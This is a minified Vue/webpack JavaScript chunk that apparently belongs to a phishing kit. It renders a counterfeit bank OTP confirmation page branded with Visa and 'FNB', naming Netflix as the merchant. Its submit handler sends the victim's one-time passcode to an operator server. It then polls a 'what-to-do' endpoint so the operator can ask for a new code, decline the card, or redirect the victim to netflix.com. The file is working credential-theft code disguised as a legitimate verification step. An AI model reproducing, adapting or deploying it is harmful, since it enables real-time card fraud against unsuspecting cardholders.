(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2d0b6c0f"],{"1f04":function(t,e,c){"use strict";c.r(e);var s=c("7a23"),n={class:"m-5",style:{"font-size":"15px"}},a={class:"flex items-center justify-between"},o={class:"font-bold"},i=Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/Visa-Logo.png",style:{width:"100px"},alt:""})],-1),l={class:"mt-5"},d=Object(s["g"])("p",{class:"my-2",style:{"font-size":"15px"}}," Please enter the OTP sent to you via SMS or digital channel. Please note that you have a maximum of three attempts to enter OTP correctly. ",-1),r=Object(s["g"])("span",{class:"font-medium"},"Transaction Details",-1),u={class:"w-full mt-3"},b=Object(s["g"])("tr",null,[Object(s["g"])("td",{class:"text-right pr-3 font-bold"}," Merchant: "),Object(s["g"])("td",null," NETFLIX ")],-1),g=Object(s["g"])("td",{class:"text-right pr-3 font-bold"}," Card Number: ",-1),m=Object(s["g"])("td",{class:"text-right pr-3 font-bold"}," Enter OTP: ",-1),O={key:0,class:"text-red-500 mt-1"},h=Object(s["g"])("p",{class:"mt-8"},[Object(s["g"])("a",{href:"#",class:"underline "}," Send Another OTP ")],-1),p={class:"w-32 mx-auto"},j={key:0},f={key:1,class:"animate-spin  h-5 w-5 text-white",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},w=Object(s["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),v=Object(s["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),x=Object(s["g"])("div",{class:"mt-4 "},[Object(s["g"])("a",{href:"#",class:"font-bold underline"},"Help")],-1);function y(t,e,c,y,k,T){return Object(s["i"])(),Object(s["c"])("div",n,[Object(s["g"])("div",a,[Object(s["g"])("div",o,Object(s["m"])(c.bank),1),i]),Object(s["g"])("div",l,[d,r,Object(s["g"])("table",u,[b,Object(s["g"])("tr",null,[g,Object(s["g"])("td",null,Object(s["m"])(T.ccnum_hidden),1)]),Object(s["g"])("tr",null,[m,Object(s["g"])("td",null,[Object(s["q"])(Object(s["g"])("input",{type:"text",class:"w-40 border border-gray-700 h-6 p-1 ","onUpdate:modelValue":e[1]||(e[1]=function(t){return k.code=t})},null,512),[[s["o"],k.code]]),k.isResend?(Object(s["i"])(),Object(s["c"])("div",O," Something went wrong. We sent you a new code ")):Object(s["d"])("",!0)])])]),h,Object(s["g"])("div",p,[Object(s["g"])("button",{class:"bg-black text-white p-2 px-6 ",disabled:k.isLoading||!k.code,onClick:e[2]||(e[2]=function(){return T.submitCode&&T.submitCode.apply(T,arguments)})},[k.isLoading?Object(s["d"])("",!0):(Object(s["i"])(),Object(s["c"])("span",j,"Submit")),k.isLoading?(Object(s["i"])(),Object(s["c"])("svg",f,[w,v])):Object(s["d"])("",!0)],8,["disabled"])])]),x])}var k=c("bc3a"),T=c.n(k),R=c("a078"),C={name:"FNB",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,approve:!0}},computed:{ccnum_hidden:function(){return"**********"+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,T.a.post(R["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;T.a.get(R["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code="",t.approve=!1):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};C.render=y;e["default"]=C}}]);
//# sourceMappingURL=chunk-2d0b6c0f.49ad2e32.js.map